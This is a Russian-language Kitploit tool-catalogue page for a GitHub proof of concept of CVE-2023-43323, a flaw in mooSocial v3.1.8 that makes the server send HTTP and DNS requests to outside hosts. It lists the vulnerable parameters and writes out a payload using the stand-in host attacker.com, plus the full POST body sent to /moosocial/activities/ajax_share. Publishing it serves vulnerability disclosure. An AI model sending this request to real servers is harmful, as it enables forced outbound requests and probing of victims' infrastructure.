Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-43323 — mooSocial v3.1.8 уязвима к внешнему взаимодействию сервисов в функции post. | Kitploit
Инструменты/GitHubGitHub/ahrixia/cve-2023-43323
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииАнализ DNS
GitHubahrixia/cve-2023-43323

CVE-2023-43323

mooSocial v3.1.8 уязвима к внешнему взаимодействию сервисов в функции post.

Репозиторий
122 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

mooSocial: Взаимодействие с внешними HTTP и DNS службами (CVE-2023-43323)

mooSocial v3.1.8 уязвим к взаимодействию с внешними службами в функции post. При выполнении сервер отправляет HTTP- и DNS-запрос на внешний сервер.

Уязвимые параметры: messageText, data[wall_photo], data[userShareVideo] и data[userShareLink]

Эксплойт - Проверка концепции (POC)

Взаимодействие с внешними HTTP и DNS службами

root@kitploit:~
Payload : http://attacker.com/?null=

POST-запрос на /moosocial/activities/ajax_share (ТОЛЬКО ДАННЫЕ POST-ЗАПРОСА):

root@kitploit:~
[data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http%3A%2F%2Fattacker.com%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]

image

Скачать инструмент